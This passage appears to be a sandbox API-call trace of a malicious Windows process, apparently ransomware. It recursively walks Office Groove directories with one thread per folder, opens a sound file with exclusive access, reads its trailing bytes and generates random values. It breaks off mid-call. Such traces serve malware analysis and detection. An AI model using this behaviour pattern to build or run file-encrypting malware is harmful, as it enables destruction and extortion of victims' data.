hFindFile=0x1b7ce9a0, lpFindFileData=0x1ce1f7f0 | out: lpFindFileData=0x1ce1f7f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51317770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69a5d7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69a5d7b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CommonData", cAlternateFileName="COMMON~1")) returned 1 [0216.764] wcscmp (_String1="CommonData", _String2=".") returned 1 [0216.764] wcscmp (_String1="CommonData", _String2="..") returned 1 [0216.764] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x1b861490 [0216.764] wcscpy (in: _Dest=0x1b861490, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net" [0216.764] wcscat (in: _Dest=0x1b861490, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\" [0216.764] wcscat (in: _Dest=0x1b861490, _Source="CommonData" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData" [0216.764] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b861490, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2500 [0216.766] FindNextFileW (in: hFindFile=0x1b7ce9a0, lpFindFileData=0x1ce1f7f0 | out: lpFindFileData=0x1ce1f7f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60440c50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60440c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Computers", cAlternateFileName="COMPUT~1")) returned 1 [0216.766] wcscmp (_String1="Computers", _String2=".") returned 1 [0216.766] wcscmp (_String1="Computers", _String2="..") returned 1 [0216.766] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x1b862ca0 [0216.766] wcscpy (in: _Dest=0x1b862ca0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net" [0216.766] wcscat (in: _Dest=0x1b862ca0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\" [0216.766] wcscat (in: _Dest=0x1b862ca0, _Source="Computers" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Computers") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Computers" [0216.767] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b862ca0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2598 [0216.768] FindNextFileW (in: hFindFile=0x1b7ce9a0, lpFindFileData=0x1ce1f7f0 | out: lpFindFileData=0x1ce1f7f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x607d2d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x607d2d50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Discussion", cAlternateFileName="DISCUS~1")) returned 1 [0216.768] wcscmp (_String1="Discussion", _String2=".") returned 1 [0216.768] wcscmp (_String1="Discussion", _String2="..") returned 1 [0216.768] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x1b8630c0 [0216.768] wcscpy (in: _Dest=0x1b8630c0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net" [0216.768] wcscat (in: _Dest=0x1b8630c0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\" [0216.768] wcscat (in: _Dest=0x1b8630c0, _Source="Discussion" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Discussion") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Discussion" [0216.768] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b8630c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1bb4 [0216.769] FindNextFileW (in: hFindFile=0x1b7ce9a0, lpFindFileData=0x1ce1f7f0 | out: lpFindFileData=0x1ce1f7f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x709f1ef0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x709f1ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DocumentShare", cAlternateFileName="DOCUME~1")) returned 1 [0216.769] wcscmp (_String1="DocumentShare", _String2=".") returned 1 [0216.770] wcscmp (_String1="DocumentShare", _String2="..") returned 1 [0216.770] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x1b861d80 [0216.770] wcscpy (in: _Dest=0x1b861d80, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net" [0216.770] wcscat (in: _Dest=0x1b861d80, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\" [0216.770] wcscat (in: _Dest=0x1b861d80, _Source="DocumentShare" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\DocumentShare") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\DocumentShare" [0216.770] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b861d80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11f8 [0216.771] FindNextFileW (in: hFindFile=0x1b7ce9a0, lpFindFileData=0x1ce1f7f0 | out: lpFindFileData=0x1ce1f7f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x696f1810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveDocumentReview", cAlternateFileName="GROOVE~1")) returned 1 [0216.771] wcscmp (_String1="GrooveDocumentReview", _String2=".") returned 1 [0216.771] wcscmp (_String1="GrooveDocumentReview", _String2="..") returned 1 [0216.771] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb6) returned 0x42c37950 [0216.772] wcscpy (in: _Dest=0x42c37950, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net" [0216.772] wcscat (in: _Dest=0x42c37950, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\" [0216.772] wcscat (in: _Dest=0x42c37950, _Source="GrooveDocumentReview" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview" [0216.772] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x42c37950, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1130 [0216.773] FindNextFileW (in: hFindFile=0x1b7ce9a0, lpFindFileData=0x1ce1f7f0 | out: lpFindFileData=0x1ce1f7f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x706f8370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveForms", cAlternateFileName="GROOVE~3")) returned 1 [0216.773] wcscmp (_String1="GrooveForms", _String2=".") returned 1 [0216.773] wcscmp (_String1="GrooveForms", _String2="..") returned 1 [0216.773] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa4) returned 0x1b862f60 [0216.773] wcscpy (in: _Dest=0x1b862f60, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net" [0216.773] wcscat (in: _Dest=0x1b862f60, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\" [0216.773] wcscat (in: _Dest=0x1b862f60, _Source="GrooveForms" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms" [0216.774] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b862f60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb30 [0216.774] FindNextFileW (in: hFindFile=0x1b7ce9a0, lpFindFileData=0x1ce1f7f0 | out: lpFindFileData=0x1ce1f7f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x706f8370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveForms3", cAlternateFileName="GR96F1~1")) returned 1 [0216.774] wcscmp (_String1="GrooveForms3", _String2=".") returned 1 [0216.774] wcscmp (_String1="GrooveForms3", _String2="..") returned 1 [0216.775] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x1ce17dc0 [0216.775] wcscpy (in: _Dest=0x1ce17dc0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net" [0216.775] wcscat (in: _Dest=0x1ce17dc0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\" [0216.775] wcscat (in: _Dest=0x1ce17dc0, _Source="GrooveForms3" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3" [0216.775] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1ce17dc0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x58c [0216.776] FindNextFileW (in: hFindFile=0x1b7ce9a0, lpFindFileData=0x1ce1f7f0 | out: lpFindFileData=0x1ce1f7f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x706f8370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveForms4", cAlternateFileName="GROOVE~4")) returned 1 [0216.776] wcscmp (_String1="GrooveForms4", _String2=".") returned 1 [0216.776] wcscmp (_String1="GrooveForms4", _String2="..") returned 1 [0216.776] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x1ce17e70 [0216.776] wcscpy (in: _Dest=0x1ce17e70, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net" [0216.776] wcscat (in: _Dest=0x1ce17e70, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\" [0216.776] wcscat (in: _Dest=0x1ce17e70, _Source="GrooveForms4" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4" [0216.777] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1ce17e70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb60 [0216.777] FindNextFileW (in: hFindFile=0x1b7ce9a0, lpFindFileData=0x1ce1f7f0 | out: lpFindFileData=0x1ce1f7f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70685f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70685f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveForms5", cAlternateFileName="GROOVE~2")) returned 1 [0216.777] wcscmp (_String1="GrooveForms5", _String2=".") returned 1 [0216.777] wcscmp (_String1="GrooveForms5", _String2="..") returned 1 [0216.777] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x1ce17f20 [0216.778] wcscpy (in: _Dest=0x1ce17f20, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net" [0216.778] wcscat (in: _Dest=0x1ce17f20, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\" [0216.778] wcscat (in: _Dest=0x1ce17f20, _Source="GrooveForms5" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5" [0216.778] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1ce17f20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xba0 [0216.779] FindNextFileW (in: hFindFile=0x1b7ce9a0, lpFindFileData=0x1ce1f7f0 | out: lpFindFileData=0x1ce1f7f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a61ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70c9f7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70c9f7b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveProjectToolset", cAlternateFileName="GRA998~1")) returned 1 [0216.779] wcscmp (_String1="GrooveProjectToolset", _String2=".") returned 1 [0216.779] wcscmp (_String1="GrooveProjectToolset", _String2="..") returned 1 [0216.779] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb6) returned 0x42c37110 [0216.779] wcscpy (in: _Dest=0x42c37110, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net" [0216.779] wcscat (in: _Dest=0x42c37110, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\" [0216.779] wcscat (in: _Dest=0x42c37110, _Source="GrooveProjectToolset" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset" [0216.780] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x42c37110, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbc4 [0216.781] FindNextFileW (in: hFindFile=0x1b7ce9a0, lpFindFileData=0x1ce1f7f0 | out: lpFindFileData=0x1ce1f7f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x53907610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61cccf30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Welcome Tool", cAlternateFileName="WELCOM~1")) returned 1 [0216.781] wcscmp (_String1="Welcome Tool", _String2=".") returned 1 [0216.781] wcscmp (_String1="Welcome Tool", _String2="..") returned 1 [0216.781] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x1ce17fd0 [0216.781] wcscpy (in: _Dest=0x1ce17fd0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net" [0216.781] wcscat (in: _Dest=0x1ce17fd0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\" [0216.781] wcscat (in: _Dest=0x1ce17fd0, _Source="Welcome Tool" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool" [0216.781] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1ce17fd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x69c [0216.782] FindNextFileW (in: hFindFile=0x1b7ce9a0, lpFindFileData=0x1ce1f7f0 | out: lpFindFileData=0x1ce1f7f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x53907610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61cccf30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Welcome Tool", cAlternateFileName="WELCOM~1")) returned 0 [0216.782] FindClose (in: hFindFile=0x1b7ce9a0 | out: hFindFile=0x1b7ce9a0) returned 1 [0216.784] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce1f7f0) returned 1 [0216.785] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205084f0) returned 1 [0216.785] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205d730) returned 1 Thread: id = 1807 os_tid = 0xcc8 [0132.364] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x202a40b0 [0132.364] wcscpy (in: _Dest=0x202a40b0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People" [0132.364] wcscat (in: _Dest=0x202a40b0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\" [0132.364] wcscat (in: _Dest=0x202a40b0, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\*") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\*" [0132.364] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce1ff40 [0132.364] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\*", lpFindFileData=0x1ce1ff40 | out: lpFindFileData=0x1ce1ff40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52a72f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x708e7550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x708e7550, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b7cec40 [0132.620] wcscmp (_String1=".", _String2=".") returned 0 [0132.620] FindNextFileW (in: hFindFile=0x1b7cec40, lpFindFileData=0x1ce1ff40 | out: lpFindFileData=0x1ce1ff40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52a72f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x708e7550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x708e7550, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0132.620] wcscmp (_String1="..", _String2=".") returned 1 [0132.620] wcscmp (_String1="..", _String2="..") returned 0 [0132.620] FindNextFileW (in: hFindFile=0x1b7cec40, lpFindFileData=0x1ce1ff40 | out: lpFindFileData=0x1ce1ff40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d003d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x604d91d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d003d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x6bd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="COUGH.WAV", cAlternateFileName="")) returned 1 [0132.620] wcscmp (_String1="COUGH.WAV", _String2=".") returned 1 [0132.620] wcscmp (_String1="COUGH.WAV", _String2="..") returned 1 [0132.620] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x4205cfb0 [0132.621] wcscpy (in: _Dest=0x4205cfb0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People" [0132.621] wcscat (in: _Dest=0x4205cfb0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\" [0132.621] wcscat (in: _Dest=0x4205cfb0, _Source="COUGH.WAV" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\COUGH.WAV") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\COUGH.WAV" [0151.314] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\COUGH.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\people\\cough.wav")) returned 0x20 [0151.322] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\COUGH.WAV", dwFileAttributes=0x20) returned 1 [0151.323] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\COUGH.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\people\\cough.wav"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2508 [0151.324] GetFileSizeEx (in: hFile=0x2508, lpFileSize=0x297cf840 | out: lpFileSize=0x297cf840*=27604) returned 1 [0151.324] SetFilePointerEx (in: hFile=0x2508, liDistanceToMove=0x6bd0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.324] ReadFile (in: hFile=0x2508, lpBuffer=0x297cf7c0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x297cf808, lpOverlapped=0x0 | out: lpBuffer=0x297cf7c0*, lpNumberOfBytesRead=0x297cf808*=0x4, lpOverlapped=0x0) returned 1 [0151.345] SetFilePointerEx (in: hFile=0x2508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.345] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f6eb0 [0151.346] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f6f70 [0151.346] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f7000 [0151.346] NtQuerySystemTime (in: CurrentTime=0x297cf700 | out: CurrentTime=0x297cf700*=132462177565534000) returned 0x0 [0151.346] RtlRandomEx (in: Seed=0x297cf6f0 | out: Seed=0x297cf6f0) returned 0x4ccdd7ca [0151.346] RtlRandomEx (in: Seed=0x297cf6f0 | out: Seed=0x297cf6f0) returned 0x4f29fc1 [0151.346] RtlRandomEx (in: Seed=0x297cf6f0 | out: 